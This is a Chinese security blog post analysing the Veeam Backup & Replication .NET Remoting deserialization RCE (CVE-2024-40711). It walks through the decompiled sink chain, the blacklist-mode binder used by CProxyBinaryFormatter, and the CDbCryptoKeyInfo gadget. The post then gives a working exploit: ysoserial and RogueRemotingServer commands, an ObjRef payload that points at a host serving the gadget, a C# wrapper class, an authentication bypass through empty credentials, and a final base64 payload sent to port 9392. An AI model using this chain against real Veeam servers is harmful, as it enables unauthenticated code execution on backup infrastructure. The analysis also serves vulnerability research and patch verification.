.Net Remoting 系列三:Veeam Backup RCE (CVE-2024-40711)

本次带来一个相对完整的分析案例

前置知识

https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html
https://github.com/codewhitesec/RogueRemotingServer

Remoting代码逻辑分析

按照之前的思路:

  1. 注册的Channel类型(全局搜ChannelServices#RegisterChannelInternal)
  2. sinkProviderChains
  3. TypeFilterLevel
  4. 注册的objecturi(全局搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
  5. 处理消息逻辑(IServerChannelSink#ProcessMessage的实现)

首先定位到Veeam.Common.Remoting.dll文件发现有TransportSink和FormatterSink相关的类,但是并没有自定义的ServerChannel,搜索ChannelServices#RegisterChannelInternal的调用找到注册ServerChannel的地方:

Pasted image 20240911111358.png

挨个看过去只有CSrvTcpChannelRegistration类注册了一个tcpServerChannel,具体调用代码如下:

  1. private static TcpServerChannel RegisterChannel(Dictionary<string, string> channelProperties, IServerChannelSinkProvider sinkProvider, CConnectionInterceptor connectionInterceptor)
  2. {
  3. TcpServerChannel tcpServerChannel = new TcpServerChannel(channelProperties, sinkProvider, connectionInterceptor);
  4. // 开启认证
  5. tcpServerChannel.IsSecured = true;
  6. ChannelServices.RegisterChannel(tcpServerChannel, true);
  7. CSrvTcpChannelRegistration.LogChannelData(tcpServerChannel);
  8. return tcpServerChannel;
  9. }

注意这里TcpServerChannel传入的有第三个参数CConnectionInterceptor,这里放到后面再说,我们先梳理sinkProviderChains。
继续查找调用寻找sinkProvider定义的地方:

  1. //其构造函数
  2. private CSrvTcpChannelRegistration(string commonChannelName, int port, IReadOnlyDictionary<string, string> channelProperties, bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
  3. {
  4. this._commonChannelName = commonChannelName;
  5. this._port = port;
  6. //调用GetSinkProvider方法
  7. IServerChannelSinkProvider sinkProvider = CSrvTcpChannelRegistration.GetSinkProvider(enableRemotingPerfLog, requireBasicPermission, monitor, impersonation, accessCheckerProvider, mfaProvider);
  8. CConnectionInterceptor cconnectionInterceptor = new CConnectionInterceptor();
  9. if (Socket.OSSupportsIPv4)
  10. {
  11. TcpServerChannel tcpServerChannel = CSrvTcpChannelRegistration.RegisterChannel(CSrvTcpChannelRegistration.CreateIPv4BindingConfiguration(commonChannelName, channelProperties), sinkProvider, cconnectionInterceptor);
  12. this._channelIPv4Name = tcpServerChannel.ChannelName;
  13. }
  14. ......
  15. }

跟进GetSinkProvider方法

  1. private static IServerChannelSinkProvider GetSinkProvider(bool enableRemotingPerfLog, bool requireBasicPermission, [CanBeNull] IActivityMonitor monitor, [CanBeNull] IImpersonationProvider impersonation, [CanBeNull] IAccessCheckProvider accessCheckerProvider, [CanBeNull] IMfaProvider mfaProvider)
  2. {
  3. IServerChannelSinkProvider serverChannelSinkProvider = new CBinaryServerFormatterSinkProvider(enableRemotingPerfLog, requireBasicPermission, accessCheckerProvider, mfaProvider);
  4. if (monitor != null)
  5. {
  6. serverChannelSinkProvider = new CActivityMonitorServerSinkProvider(monitor, serverChannelSinkProvider);
  7. }
  8. if (impersonation != null)
  9. {
  10. serverChannelSinkProvider = new CImpersonationServerSinkProvider(impersonation, serverChannelSinkProvider);
  11. }
  12. return serverChannelSinkProvider;
  13. }

这里使用的是CBinaryServerFormatterSink作为FormatterSink,TransportSink使用的默认TcpServerTransportSink,整个服务端的sinkProviderChains:TcpServerTransportSink → CBinaryServerFormatterSink → DispatchChannelSink
同时CBinaryServerFormatterSink中定义了TypeFilterLevel.Low

追溯到启动类发现监听的端口为9392,服务名为Veeam.Backup.Service.exe(tcp://IP:9392/VeeamClientUpdateService )。

最后找到对应的ProcessMessage方法梳理处理消息的逻辑,主要代码如下:

  1. public ServerProcessing ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, out IMessage responseMsg, out ITransportHeaders responseHeaders, out Stream responseStream)
  2. {
  3. ServerProcessing serverProcessing;
  4. using (LogRegistration.RegisterSafe(this._logStorage))
  5. {
  6. ......
  7. string text = (string)requestHeaders["Content-Type"];
  8. string text2 = (string)requestHeaders["__RequestVerb"];
  9. ......
  10. //部分省略
  11. requestMsg = CBinaryServerFormatterSink.DeserializeBinaryRequestMessage(requestStream, requestHeaders);
  12. if (requestMsg == null)
  13. {
  14. throw new RemotingException("Remoting Deserialize Error");
  15. }
  16. IMethodMessage methodMessage = requestMsg as IMethodMessage;
  17. if (methodMessage != null)
  18. {
  19. string text3 = requestHeaders["access_token"] as string;
  20. Dictionary<string, object> dictionary;
  21. EJwtValidationResult ejwtValidationResult = this._mfaProvider.ValidateToken(text3, out dictionary);
  22. if (ejwtValidationResult == EJwtValidationResult.Empty || ejwtValidationResult == EJwtValidationResult.Invalid)
  23. {
  24. this.EnsureMfa(requestHeaders);
  25. }
  26. this.EnsureAccessIsAllowed(methodMessage);
  27. }
  28. sinkStack.Push(this, null);
  29. ServerProcessing serverProcessing2 = this.CallNextSink(sinkStack, requestMsg, requestHeaders, null, out responseMsg, out responseHeaders, out responseStream);
  30. if (responseStream != null)
  31. {
  32. throw new RemotingException("Remoting_ChnlSink_WantNullResponseStream");
  33. }
  34. switch (serverProcessing2)
  35. {
  36. case ServerProcessing.Complete:
  37. if (responseMsg == null)
  38. {
  39. throw new RemotingException("Remoting_DispatchMessage");
  40. }
  41. sinkStack.Pop(this);
  42. this.AddSessionToken(requestHeaders, ref responseHeaders);
  43. CBinaryServerFormatterSink.SerializeResponse(sinkStack, responseMsg, ref responseHeaders, out responseStream);
  44. this.AdditionalyLogResponse(responseMsg);
  45. ......
  46. }
  47. }
  48. }
  49. return serverProcessing;
  50. }

调用DeserializeBinaryRequestMessage方法执行反序列化的操作,也是整个过程中最关键的,实现如下

  1. //Veeam.Common.Remoting.CBinaryServerFormatterSink#DeserializeBinaryRequestMessage
  2. private static IMessage DeserializeBinaryRequestMessage(Stream requestStream, ITransportHeaders requestHeaders)
  3. {
  4. IMessage message;
  5. try
  6. {
  7. message = (IMessage)CBinaryServerFormatterSink.CreateFormatter(false).DeserializeMethodResponse(requestStream, new HeaderHandler(new CBinaryServerFormatterSink.UriHeaderHandler(requestHeaders).HeaderHandler), null);
  8. }
  9. finally
  10. {
  11. requestStream.Close();
  12. }
  13. return message;
  14. }
  15. //Veeam.Common.Remoting.CBinaryServerFormatterSink#CreateFormatter
  16. private static BinaryFormatter CreateFormatter(bool serializingResponse)
  17. {
  18. BinaryFormatter binaryFormatter = new BinaryFormatter();
  19. binaryFormatter.Binder = new RestrictedSerializationBinder(serializingResponse, RestrictedSerializationBinder.Modes.FilterByWhitelist);
  20. binaryFormatter.Context = new StreamingContext(StreamingContextStates.Other);
  21. binaryFormatter.FilterLevel = TypeFilterLevel.Low;
  22. binaryFormatter.AssemblyFormat = FormatterAssemblyStyle.Full;
  23. if (!serializingResponse)
  24. {
  25. binaryFormatter.SurrogateSelector = new CDataSerializationSurogate();
  26. }
  27. else
  28. {
  29. ISurrogateSelector surrogateSelector = new RemotingSurrogateSelector();
  30. surrogateSelector.ChainSelector(new CDataSerializationSurogate());
  31. binaryFormatter.SurrogateSelector = surrogateSelector;
  32. }
  33. return binaryFormatter;
  34. }

这儿有两点需要注意:

  1. 定义了RestrictedSerializationBinder设置反序列化白名单或黑名单
  2. 定义了CDataSerializationSurogate作为formatter的序列化或反序列化处理

首先看RestrictedSerializationBinder是如何防御的,关注ResolveType方法和BindToType方法,如果仅仅使用CustomSerializationBinder是可以绕的,数据流:CustomSerializationBinder#BindToType-->RestrictedSerializationBinder#ResolveType-->RestrictedSerializationBinder#EnsureTypeIsAllowed关键代码如下:

  1. // Veeam.Backup.Common.CustomSerializationBinder
  2. public class CustomSerializationBinder : SerializationBinder
  3. {
  4. public override Type BindToType(string assemblyName, string typeName)
  5. {
  6. return CustomSerializationBinder.TypeCache.GetOrAdd(new ValueTuple<string, string>(assemblyName, typeName), new Func<ValueTuple<string, string>, Type>(this.ResolveType));
  7. }
  8. protected virtual Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
  9. {
  10. return SBinderHelper.ResolveType(key);
  11. }
  12. // Veeam.Backup.Common.RestrictedSerializationBinder
  13. public sealed class RestrictedSerializationBinder : CustomSerializationBinder
  14. {
  15. public RestrictedSerializationBinder(bool serializingResponse, RestrictedSerializationBinder.Modes mode = RestrictedSerializationBinder.Modes.FilterByWhitelist)
  16. {
  17. this._serializingResponse = serializingResponse;
  18. this._mode = mode;
  19. }
  20. ......
  21. protected override Type ResolveType([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
  22. {
  23. this.EnsureTypeIsAllowed(key);
  24. Type type = base.ResolveType(key);
  25. RestrictedSerializationBinder.CheckIsRestrictedType(type);
  26. return type;
  27. }
  28. private void EnsureTypeIsAllowed([TupleElementNames(new string[] { "assemblyName", "typeName" })] ValueTuple<string, string> key)
  29. {
  30. if (!this._serializingResponse &amp;&amp; SOptions.Instance.ShouldWhitelistingRemoting)
  31. {
  32. this.EnsuredBlackWhitelistsAreLoaded();
  33. string text = key.Item2 + ", " + key.Item1;
  34. if (this._mode == RestrictedSerializationBinder.Modes.FilterByWhitelist)
  35. {
  36. RestrictedSerializationBinder._allowedTypeFullnames.EnsureIsAllowed(text);
  37. return;
  38. }
  39. if (this._mode == RestrictedSerializationBinder.Modes.FilterByBlacklist)
  40. {
  41. RestrictedSerializationBinder._notAllowedTypeFullnames.EnsureIsAllowed(text);
  42. }
  43. }
  44. }

RestrictedSerializationBinder根据传入的mode参数决定使用白名单或黑名单模式,整个Remoting处理用的是白名单模式,这儿并不是先白名单后黑名单校验,而是二选一于是有了可乘之机。

漏洞分析

一共五处调用最终找到一处调用使用的是黑名单模式

Pasted image 20240912103648.png

代码如下:

  1. // Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize
  2. public static T Deserialize<T>(string input)
  3. {
  4. T t;
  5. try
  6. {
  7. byte[] array = Convert.FromBase64String(input);
  8. BinaryFormatter binaryFormatter = new BinaryFormatter
  9. {
  10. Binder = new RestrictedSerializationBinder(false, RestrictedSerializationBinder.Modes.FilterByBlacklist)
  11. };
  12. t = CProxyBinaryFormatter.BinaryDeserializeObject<T>(array, binaryFormatter);
  13. }

妥妥的反序列化,老外通过对比补丁新增了一个ObjRef的链,该链子在反序列化的过程中只会反序列化System.Runtime.Remoting.ObjRefSystem.Exception,执行命令时不会触发其他黑名单。

可以将Veeam.Backup.Core.CProxyBinaryFormatter#Deserialize作为一个跳板,找到一处调用该方法并处于白名单中的类,就能实现RCE。刚好最后老外从白名单找到一个调用该方法的类

  1. // Veeam.Backup.Model.CDbCryptoKeyInfo
  2. private readonly List<CRepairRec> _repairRecs = new List<CRepairRec>();
  3. protected CDbCryptoKeyInfo(SerializationInfo info, StreamingContext context)
  4. {
  5. this.Id = (Guid)info.GetValue("Id", typeof(Guid));
  6. byte[] array = (byte[])info.GetValue("KeySetId", typeof(byte[]));
  7. this.KeySetId = new CKeySetId(array);
  8. this.KeyType = (EDbCryptoKeyType)((int)info.GetValue("KeyType", typeof(int)));
  9. this.EncryptedKeyValue = Convert.FromBase64String(info.GetString("DecryptedKeyValue"));
  10. this.Hint = info.GetString("Hint");
  11. this.ModificationDateUtc = info.GetDateTime("ModificationDateUtc").SpecifyDateTimeUtc();
  12. this.CryptoAlg = (ECryptoAlg)info.GetInt32("CryptoAlg");
  13. this._repairRecs = CProxyBinaryFormatter.Deserialize<CRepairRec>((string[])info.GetValue("RepairRecs", typeof(string[]))).ToList<CRepairRec>();
  14. this.Version = info.GetInt64("Version");
  15. this.BackupId = (Guid)info.GetValue("BackupId", typeof(Guid));
  16. this.IsImported = info.GetBoolean("IsImported");
  17. }

总结下:

  1. 无需自定义Channel(TcpServerChannel)
  2. 开启了认证(CConnectionInterceptor)、low type filter
  3. 存在一个URI为tcp://IP:9392/VeeamClientUpdateService
  4. 整个利用链.Net Remoting —> CDbCryptoKeyInfo( 白名单 ) —> CProxyBinaryFormatter.Deserialize ( 黑名单objref )—> RCE

EXP构造

需要用到ExploitRemotingService,有点小改动我编译之后放到这儿了。这儿的改动其实就是绕过其认证的,将用户密码置空就能绕过,CConnectionInterceptor类实际上未处理只是返回true。

Pasted image 20240918165455.png

然后构造ObjRef

  1. ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c calc > exploit.soapformatter
  2. RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0:2345/aaa exploit.soapformatter
  3. ysoserial.exe -g ObjRef -f BinaryFormatter -c http://10.106.24.105:2345/aaa
  4. // 最终生成AAEAAAD/////AQAAAAAAAAAEAQAAABBTeXN0ZW0uRXhjZXB0aW9uAQAAAAlDbGFzc05hbWUDHlN5c3RlbS5SdW50aW1lLlJlbW90aW5nLk9ialJlZgkCAAAABAIAAAAeU3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuT2JqUmVmAQAAAAN1cmwBBgMAAAAdaHR0cDovLzEwLjEwNi4yNC4xMDU6MjM0NS9hYWEL

重定义CDbCryptoKeyInfo序列化过程,传入上面生成的poc序列化:

  1. [Serializable]
  2. public class CDbCryptoKeyInfoWrapper : ISerializable
  3. {
  4. private string[] _fakeList;
  5. public CDbCryptoKeyInfoWrapper(string[] _fakeList)
  6. {
  7. this._fakeList = _fakeList;
  8. }
  9. public void GetObjectData(SerializationInfo info, StreamingContext context)
  10. {
  11. info.SetType(typeof(CDbCryptoKeyInfo));
  12. info.AddValue("Id", Guid.NewGuid());
  13. info.AddValue("KeySetId", null);
  14. info.AddValue("KeyType", 1);
  15. info.AddValue("Hint", "aaaaa");
  16. info.AddValue("DecryptedKeyValue", "AAAA");
  17. info.AddValue("LocaleLCID", 0x409);
  18. info.AddValue("ModificationDateUtc", new DateTime());
  19. info.AddValue("CryptoAlg", 1);
  20. info.AddValue("RepairRecs", _fakeList);
  21. }
  22. }

传入生成的CDbCryptoKeyInfo序列化数据,再通过ExploitRemotingService发送POC

  1. ExploitRemotingService.exe -s tcp://192.168.45.144:9392/VeeamClientUpdateService raw AAEAAAD/////AQAAAAAAAAAMAgAAAFZWZWVhbS5CYWNrdXAuTW9kZWwsIFZlcnNpb249MTIuMS4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YmZkNjg0ZGUyMjc2NzgzYQUBAAAAI1ZlZWFtLkJhY2t1cC5Nb2RlbC5DRGJDcnlwdG9LZXlJbmZvCQAAAAJJZAhLZXlTZXRJZAdLZXlUeXBlBEhpbnQRRGVjcnlwdGVkS2V5VmFsdWUKTG9jYWxlTENJRBNNb2RpZmljYXRpb25EYXRlVXRjCUNyeXB0b0FsZwpSZXBhaXJSZWNzAwIAAQEAAAAGC1N5c3RlbS5HdWlkCAgNCAIAAAAE/f///wtTeXN0ZW0uR3VpZAsAAAACX2ECX2ICX2MCX2QCX2UCX2YCX2cCX2gCX2kCX2oCX2sAAAAAAAAAAAAAAAgHBwICAgICAgIC1f56MNPo3kO39y2SXeUREAoBAAAABgQAAAAFYWFhYWEGBQAAAARBQUFBCQQAAAAAAAAAAAAAAQAAAAkGAAAAEQYAAAABAAAABgcAAADkAUFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBQkJUZVhOMFpXMHVSWGhqWlhCMGFXOXVBUUFBQUFsRGJHRnpjMDVoYldVREhsTjVjM1JsYlM1U2RXNTBhVzFsTGxKbGJXOTBhVzVuTGs5aWFsSmxaZ2tDQUFBQUJBSUFBQUFlVTNsemRHVnRMbEoxYm5ScGJXVXVVbVZ0YjNScGJtY3VUMkpxVW1WbUFRQUFBQU4xY213QkJnTUFBQUFkYUhSMGNEb3ZMekV3TGpFd05pNHlOQzR4TURVNk1qTTBOUzloWVdFTAs=

Pasted image 20240918170256.png

总结

TypeFilterLevel.Low时,可以尝试反序列化其他符合条件的对象进而触发一些恶意方法实现RCE。

参考

https://github.com/codewhitesec/RogueRemotingServer
https://github.com/tyranid/ExploitRemotingService
https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/

  • 发表于 2024-12-25 10:42:01
  • 阅读 ( 1744 )
  • 分类:WEB安全

0 条评论

g7shot
g7shot

3 篇文章

站长统计